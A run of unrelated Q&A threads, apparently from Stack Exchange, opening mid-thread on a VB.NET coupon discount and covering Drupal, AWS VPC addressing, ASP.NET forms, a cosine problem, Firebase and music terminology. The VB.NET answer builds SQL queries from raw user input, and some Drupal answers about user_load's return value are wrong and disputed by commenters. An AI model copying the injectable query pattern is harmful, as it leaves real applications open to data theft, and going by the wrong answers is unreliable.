                    If (ProdutoBandeira.Contains(TipoCupom)) Then
                        LValorPedido.Text = "Desconto Aplicado! Desconto obtido: " & FormatCurrency(CDec(desconto)) & "
 Valor total do pedido: " & FormatCurrency(CDec(valorDesconto))
                    Else
                        LValorPedido.Text = "O desconto é aplicável para outra categoria de produtos"
                    End If
                End If

            ElseIf cupomDesconto.Text = "" Then
                LValorPedido.Text = "Valor total do pedido: " & precoItem
            Else
                Response.Write("")
                Response.Write("")
            End If
            RTotalPedido.Value = precoItem - desconto
            Session("valorDesconto") = -desconto
    End Sub

Comment: entendi que o problema esta em como estou montando a query:   Dim listaQuery = String.Join(",", listaProdutos.ToArray())

        comando3.CommandText = "SELECT * from Loja_Produtos WHERE Nome = '" & String.Join(",", listaProdutos.ToArray()) & "'"
Answer: Resolvido da seguinte forma:
        Protected Sub Button2_Click(sender As Object, e As EventArgs) Handles Button2.Click
        'Obtem Códigos
        Dim MyConnection = New OleDbConnection(Conexao)
        MyConnection.Open()
        Dim comando2 As New OleDbCommand
        comando2.Connection = MyConnection
        comando2.CommandText = "SELECT * from loja_codigo WHERE codigo = '" & cupomDesconto.Text & "'"
        Dim reader2 As OleDbDataReader = comando2.ExecuteReader()
        Dim desconto As Integer
        Dim TipoCupom As Boolean

        While reader2.Read
            desconto = reader2.Item("Desconto")
            TipoCupom = reader2.Item("BandeiraProduto")
        End While

        'Obtem Produtos
        Dim MyConnection2 = New OleDbConnection(Conexao)
        MyConnection2.Open()
        Dim comando3 As New OleDbCommand
        comando3.Connection = MyConnection

        Dim listaProdutos As New List(Of String)()

        For Each ObterProduto As String In Session("Produtos")
            listaProdutos.Add(ObterProduto)
        Next

        Dim produtoID As New List(Of Integer)()
        Dim ProdutoBandeira As New List(Of Boolean)()

        Dim QueryList As New List(Of String)()

        'Gera Query
        For Each item As String In listaProdutos
            QueryList.Add("Nome='" + item + "' OR")
        Next

        'Transforma Query em uma string e remove o ultimo OR
        Dim Query = "SELECT * from Loja_Produtos WHERE " & String.Join(" ", QueryList.ToArray()).ToString()
        Dim AjusteQuery = Query.Remove(Query.Length - 2)

        'Executa
        comando3.CommandText = AjusteQuery

        'Adiciona ID, Bandeira do Produto em uma Lista
        Dim reader3 As OleDbDataReader = comando3.ExecuteReader()

        While (reader3.Read())
            produtoID.Add(Integer.Parse(reader3.Item("ID")))
            ProdutoBandeira.Add(Boolean.Parse(reader3.Item("BandeiraProduto")))
        End While

        Dim precoItem = FormatCurrency(CDec(RTotalPedido.Value))

        Dim valorDesconto As Double
        valorDesconto = precoItem - desconto

        If desconto > 0 Then
            If LValorPedido.Text.Contains("Desconto Aplicado") Then
                Response.Write("")
            End If
            If Not LValorPedido.Text.Contains("Desconto Aplicado") Then
                'Compara se o carrinho possui produto bandeira = cupom bandeira
                If (ProdutoBandeira.Contains(TipoCupom)) Then
                    LValorPedido.Text = "Desconto Aplicado! Desconto obtido: " & FormatCurrency(CDec(desconto)) & "
 Valor total do pedido: " & FormatCurrency(CDec(valorDesconto))
                ElseIf (TipoCupom = False) Then
                    LValorPedido.Text = "Desconto aplicável a compras que possuem produtos TIPO X"
                ElseIf (TipoCupom = True) Then
                    LValorPedido.Text = "Desconto aplicável a compras que possuem produtos TIPO Y"
                End If
            End If

        ElseIf cupomDesconto.Text = "" Then
            LValorPedido.Text = "Valor total do pedido: " & precoItem
        Else
            Response.Write("")
            Response.Write("")
        End If
        RTotalPedido.Value = precoItem - desconto
        Session("valorDesconto") = -desconto
        End Sub

Comment: tenta dar mais detalhes de como resolves te e qual o problema. Assim torna bem difícil analisar a resposta.


Why does user_load($id) NOT return FALSE when an invalid id is passed in?

Question: I'm making a module that lets users manage database records for various organizations.  I'm using Drupal 7 and an very new at it.  I'm logged in as the admin user. I have a menu item 'cb' that checks args and returns content generated by various functions, here it is in the menu:
function org_menu() {
  $items['org'] = array(
    'title' => 'My Orgs',
    'page callback' => 'org_show_orgs',
    'access callback' => TRUE,
  );
  $items['org/create_org'] = array(
    'title' => 'Create New Org',
    'page callback' => 'drupal_get_form',
    'page arguments' => array('org_create_form'),
    'access callback' => TRUE,
  );
  $items['org/search_orgs'] = array(
    'title' => 'Find Orgs',
    'page callback' => 'drupal_get_form',
    'page arguments' => array('org_search'),
    'access callback' => TRUE,
  );
  $items['org/cb'] = array(
    'type' => MENU_CALLBACK,
    'page callback' => 'custom_callback',
  );
  return $items;
}

And this is the cb function that determines what I am trying to do, and calls the appropriate content function:
function custom_callback () {
  if ( arg(2)=="edit" )
    return org_edit_org();
  if ( arg(2)=="view" ) {
    return org_show_orgs();
  }
  return "
Invalid callback function: '".arg(2)."'";
}

and the actual org_get_orgs function:
function org_show_orgs() {
  global $user;
  $acctid=arg(3);
  if ( !$acctid && $user->uid==0 )
    return array('my_content' => '
My Orgs
Please log in to view your orgs.'.
                    '

Find Orgs
', drupal_get_form('org_search'));

  if ( $acctid ) {
    //return "case1 arg0=".arg(0)."
arg1=".arg(1)."
arg2=".arg(2)."
arg3="
    //              .arg(3)."
arg4=".arg(5)."
acctid=$acctid

";
    $account=user_load($acctid);
    //return "case2 arg0=".arg(0)."
arg1=".arg(1)."
arg2=".arg(2)."
arg3="
    //              .arg(3)."
arg4=".arg(5)."
acctid=$acctid

";
    if ( $account===FALSE )
      return "
Invalid acctid "+$acctid+"
";
    else
      return "
account was not FALSE
";
  }
}

cb() gets called correctly and the org_show_orgs() function gets called as expected.  arg(3) is the user id, so I can allow a user to view another user's orgs.
I hit the url
http://example.com/?q=org/cb/view/1
and it works - I see admin's orgs.  If I pick a userid for another user, it works - I see their orgs as well.  The problem is when I tinker with the url and pass in an id of a user that doesnt exist - then I get all kinds of weirdness.  For example, if I hit
http://example.com/?q=org/cb/view/4
If I uncomment that case2 line, I clearly see all my variables are correct:
case2 arg0=org
arg1=cb
arg2=view
arg3=4
arg4=
acctid=4

but if I try to test if $account===FALSE, I get the maintenance page.  If I change the id to 3, I get an 'access denied' page.  If I change the id to 2, I see a 'page not found' page.  If I try return print_r($account,TRUE); I get the menus and a completely blank content cell.  No error, which I'd get it it was a non-array object.  If I try get_class($account) after I retrieve it, I get the menus but no css, and everything is just listed down the left side, no regions, themes, nothing.
Besides the $account issue, is there a better way to be doing this than that callback menu, or is that the drupal way?
Comment: `user_load()` is documented to return `FALSE` if it fails. Can you verify that it doesn't work outside of your complex workflow? If you simply run `$account = user_load(4);` in a standard Drupal page callback does it return `FALSE`?
Answer: The account test probably is working, but this is wrong:
return "
Invalid acctid "+$acctid+"
";

If the $acctid is an integer, it's evaluating that and returning an integer.  The proper php concatenation operator is '.' (without the quotes), change your return statement to
return "
Invalid acctid ".$acctid."
";

It'll evaluate to the string you're presumably expecting.
Answer: Actually, the value returned by user_load() is an array. If the $id is not valid, it will return an empty array.
Try changing your test to if (empty($account)).
Comment: It returns `FALSE` for me when I run it with an invalid user ID, and a `stdClass` object on success (Drupal 7). I've never seen it return an array before, is that documented somewhere?
Comment: `user_load()` takes the return value from `user_load_multiple()` (which uses `entity_load()`). _That_ return val is an array, but `user_load()` runs `reset()` on it. Running `reset()` on an empty array results in `FALSE`.
Comment: @Clive - If you trace the function through the Drupal API, the actual return value comes from [entity_load()](http://api.drupal.org/api/drupal/includes!common.inc/function/entity_load/7).
Comment: @Clive - Good catch. I missed it. However, empty() is a more generic method of testing for a FALSE value, and drupalnewbie for some reason is tryng to compare handles, not values. At least the comparison should be '==' and not '==='.
Answer: These tests will not work in recent PHP, because account is an object array. Use the following condition: if (count($account) > 0)


AWS VPC Multiple IPs

Question: I am trying to associate a secondary internal IP with my Amazon VPC small machine, I am using a Ubuntu based image with AMI ID:ami-6936fb00.
Problem is that I am unable to figure out how to configure my OS(Ubuntu) to record the second private IP address ( this is required as mentioned in the AWS Docs: http://docs.amazonwebservices.com/AWSEC2/latest/UserGuide/using-instance-addressing.html#using-instance-addressing-eips)!
I have single ENI and have associated one extra private IP with it.
Any help would be appreciated.
Thanks
Comment: I believe Multiple IPs are possible in VPC only.
Comment: Are you talking about EC2? AWS [VPC](http://aws.amazon.com/vpc/) is a completely different thing (more VPN/networkish stuff)
Answer: Your /etc/network/interfaces file probably has something like the following:
auto eth0
iface eth0 inet static
    address 192.0.2.10
    netmask 255.255.255.0
    gateway 192.168.2.1

This is what assigns the primary IP (it may also be DHCP). To assign a secondary IP add a post-up script to attach an additional address to eth0.
auto eth0
iface eth0 inet static
    address 192.0.2.10
    netmask 255.255.255.0
    gateway 192.168.2.1
    up ip addr add 192.168.2.20/24 dev eth0

Comment: @APZ Aliased interfaces (i.e. `eth0:0`) are a hack created by `ifconfig` in order to support multiple IP addresses. They are considered deprecated however, and iproute2 (i.e. the `ip` command) should be used instead to attach multiple IPs to a single interface, which is what my solution does.
Comment: Thanks for the reply, can you please tell me how is your solution better than mine, I am not a guru in networking and want to understand which approach is better.
Comment: @mgorven Could you please explain the "20/24" part? Also, I am trying to add 4 IP addresses to two ENI's (for a total of 8 IPs). I can do it in the Amazon Linux AMI no problem (since Amazon gives you instructions in their documentation), but do you think this approach would work for that? Thanks!
Comment: @jeffp The IP is 192.168.2.20; the /24 specifies the subnet mask, i.e. 24 bits make up the network part and 32-24=8 bits make up the host part. If you have a specific question you should [ask a question](http://serverfault.com/questions/ask) though.
Answer: I was finally able to figure out how to record second private IP for my AWS VPC machine:
I appended this to /etc/network/interfaces:
auto eth0:0
iface eth0:0 inet static
    address 192.x.y.z
    netmask 255.255.255.0

and then running ifup eth0:0
My ifconfig showed both eth0 and eth0:0 with correct private IPs.

AWS VPC Multiple IPs


Get value of element which is added by Javascript in ASP.net

Question: I have a web form in which I generate certain text box and dropdown dynamically and hence they do not have controls.
The html code looks like

                    Name

                    Type

                    Stock

                    Color

                    Finishing

                    Qty

                        <input type="text" name="Name" />

                        <select name="Type">
                            <option>Type1</option>
                            <option>Type2</option>
                            <option>Type3</option>
                        </select>

                        <select name="Stock">
                            <option>Stock1</option>
                            <option>Stock2</option>
                            <option>Stock3</option>
                        </select>

                        <select name="Color">
                            <option>Color1</option>
                            <option>Color2</option>
                            <option>Color3</option>
                        </select>

                        <select name="Finishing">
                            <option>Finishing1</option>
                            <option>Finishing2</option>
                            <option>Finishing3</option>
                        </select>

                        <input type="number" name="Qty" />

                        <button type="button" onclick="AddRow("tblcomponent")" cursor: pointer;">Add</button>

Everytime you click on the add button it generates a similar row by adding within the table element. Now I am trying to get the value of all rows but not sure how to use Request.Form[] ?
Answer: Make the entire table run server side through an asp:table. If you give the table an ID and set runat="server" you will be able to take care of all the events through server side code without having to parse through the information with javascript. Make your "Add" button a server side event along with whatever the event is that you need to parse through the table. If you need to do client side coding give the regular HTML table a id and parse through it using jQuery using something like $("#YourTableID")[0].rows[index].cells[index].outerText.


How do i find x?

Question: Consider points $A, B, C$ in the following diagram:

Let $\theta = \angle BAC$.
Then we can write
$\cos \theta = \dfrac{x}{\sqrt{2}}$ for some value of $x$.
What is $x$?
Comment: $x=\sqrt2\cos(\angle BAC)$.
Answer: First, calculate the length of each side of the triangle.
$$AB=\sqrt{5}$$
$$BC=\sqrt{13}$$
$$AC=\sqrt{10}$$
Using the law of Cosines :
$$BC^{2}=AB^{2}+AC^{2}-2(AB)(AC)cos(\theta)$$
$$13=5+10-2(\sqrt{5})(\sqrt{10})cos(\theta)$$
$$-2=-2(5\sqrt{2})cos(\theta)$$
$$\frac{1}{5\sqrt{2}}=cos(\theta)$$
so $x=\frac{1}{5}$
Answer: We have
$$A(1,1), \;\;B(2,3), \;\;C(4,0)$$
then
$$\vec{AB}(1,2),\;\; \vec{AC}(3,-1)$$
and
$$\cos(\theta)=\frac{\vec{AB}•\vec{AC}}{||\vec{AB}|| ||\vec{AC}||}$$
$$=\frac{1\times 3 +2\times (-1)}{\sqrt{1^2+2^2}\sqrt{3^2+(-1)^2}}$$
$$=\frac{1}{\sqrt{50}}=\frac{x}{\sqrt{2}}$$
hence
$$x=\sqrt{\frac{2}{50}}=\frac 15$$
Answer: You can find $x$ by finding the lengths AB,BC,AC, then use LoC to find cos$\theta$ and manipulate to find $x.$

How do i find x?


Updated search index display, but old index is still being used

Question: I updated the search index display for my content type (eg, from admin/structure/types/manage/page/display/search_index), but the old index is still being used.
How can I fix this?
Answer: When you save the settings for the search index display, nodes are not marked as needing to be reindexed.  You can either reindex the full site, or add in your own submit handler to mark them as dirty:
/**
 * Implements hook_form_FORM_ID_alter().
 */
function MYMODULE_form_field_ui_display_overview_form_alter(&$form, $form_state) {
  if ($form['#view_mode'] == 'search_index' && module_exists('search')) {
    $form["#submit"][] = 'MYMODULE_mark_search_index_dirty';
  }
}

function MYMODULE_mark_search_index_dirty($form, &$form_state) {
  $entity_type = $form["#entity_type"];

  $query = new EntityFieldQuery();

  $query->entityCondition('entity_type', $entity_type, '=');

  if (!empty($form["#bundle"])) {
    $query->entityCondition('bundle', $form["#bundle"]);
  }

  $entities = $query->execute();

  $sids = array_keys($entities[$entity_type]);

  $num = db_update('search_dataset')
    ->fields(array('reindex' => REQUEST_TIME))
    ->condition('type', $entity_type)
    ->condition('sid', $sids, 'IN')
    ->execute();

  if ($num > 0) {
    drupal_set_message(format_plural($num,
      '1 item needs to be indexed.',
      '@count items needs to be indexed.'));
  }
}

This will alter the form used to edit the display settings.  It checks to see if you are on the tab for changing the display of the search index view mode, and also have the Search module enabled.  If so, it adds on a new submit handler.
The submit hanlder does an EntityFieldQuery to get all of the entity IDs for the type/bundle pair specified by the $form.  It used EFQ instead of db_query() to be entity-type agnostic.
Then, based off of the code for search_touch_node() (which is called from node-related insert and update update hooks), it updates the search index to mark those entities as needing to be reindexed.  This will leave the old indexed data in place, and subsequent cron runs will reindex.
If you want to remove those from the index until reindexing, then you can replace the query with a loop like:
foreach ($sids as $sid) {
  search_reindex($sid, $entity_type);
}

$num = count($sids);


Firebase not saving data?

Question: I'm trying to scrape a webpage, and save the data to Firebase. I can console.log the data, but I can't get it to save. At first I thought the tabletojson function took a second to grab the data, so I decided to put the Firebase part where I save data into a separate function.
When I run this in the terminal, the console.log doesn't appear because something is going wrong with saving the data to Firebase. Any ideas on how to fix this script?
var tabletojson = require('tabletojson');
var Firebase = require('firebase')
var url = 'https://en.wikipedia.org/wiki/List_of_sovereign_states#List_of_states';
    tabletojson.convertUrl(url, function(tablesAsJson) {
      var listofSovereignStates = tablesAsJson[0];
      sendToFirebase(listofSovereignStates)
    });

    function sendToFirebase(data) {
        dataRef = new Firebase("https://mikesweather.firebaseio.com/flags")
        dataRef.set(data)
        console.log(data)
    }

Comment: What are the `console.log` outputs?
Comment: The console.log doesn't show up, the terminal just stays open
Answer: Try this:
function sendToFirebase(data) {
    var dataRef = new Firebase("https://mikesweather.firebaseio.com/flags")
    dataRef.set({myData: data})
    console.log(data)
}

Per the example below you can see that you need to pass in an object to set:
dataRef.set({
  alanisawesome: {
    date_of_birth: "June 23, 1912",
    full_name: "Alan Turing"
  }
});

https://www.firebase.com/docs/web/guide/saving-data.html
Edit, after thinking about it, it is possible this is not the solution, let me know if this works...
Comment: I can save the static data, but the data passed in to the sendToFirebase function doesn't work when I try to save data
Comment: log listofSovereignStates before you sendToFireBase and edit the question with that log, lets see what that looks like
Comment: Here's what the console returns when I do that: https://gist.github.com/LAMike310/3f3ccf716cec47374f5eb8639bf6445f , looks like it's a Firebase specific problem right?

Firebase not saving data?


What is the musical term for a note that continuously plays through a melody?

Question: I have been wanting to know this for a long time. It is when a note stays on while some other notes are being played at the same time, it is kind of like a Pedal Point from research. Here are some examples of them being used below, the type I'm looking for is for calming songs I'm not quite sure on the term for it.

Varieties Of Exile, Beirut, at about 2:10 and about 4:10
Some Minecraft Story Mode Music:

.
Occurs at many places, like 0:14 - 0:24
Comment: "Drone note" or "drone" is normally what I've heard it called. "Pedal point" usually refers to a "drone" in the bass.
Comment: @LSM07 pedal point is the usual term in classical theory for a note that is held for an extended but temporary period in a piece, even if not in the bass (though it is commonly in the bass and it takes its name from that fact).  Drone tends to suggest that the note sounds throughout an entire piece or nearly so.  But "drone" is certainly responsive to this question and deserves to be mentioned in an answer, not just a comment.
Comment: *jet plane sound*: you can have it  for  8 hours: https://www.youtube.com/watch?v=kuGl_qvgoaA
Answer: Yes, "pedal point" is the accurate term for it!
If you're looking for another term, a pedal point can be understood as a particular type of ostinato, or repeating musical figure. Often an ostinato is a melodic and/or rhythmic idea, but I have heard musicians refer to a static pedal as a type of ostinato, as well.
Comment: "Drone" is another word that can apply in some cases, like bagpipes or EDM.
Comment: *Drone* is good. What about *bumblebee*? https://www.youtube.com/watch?v=XUQCO23C2eA or *jet plane sound*? https://www.youtube.com/watch?v=UJ6GmaZVFkU
Comment: @ToddWilcox Great point; I somehow didn't think of that term. Albrecht, I've never heard "bumblebee" or "jet plane sound"; perhaps those are lost in translation?
Comment: Hmmm..  @AlbrechtHügli  "Flight of the Bumblebee"  and  Villa-Lobos'  "The Jet-Whistle"  :-)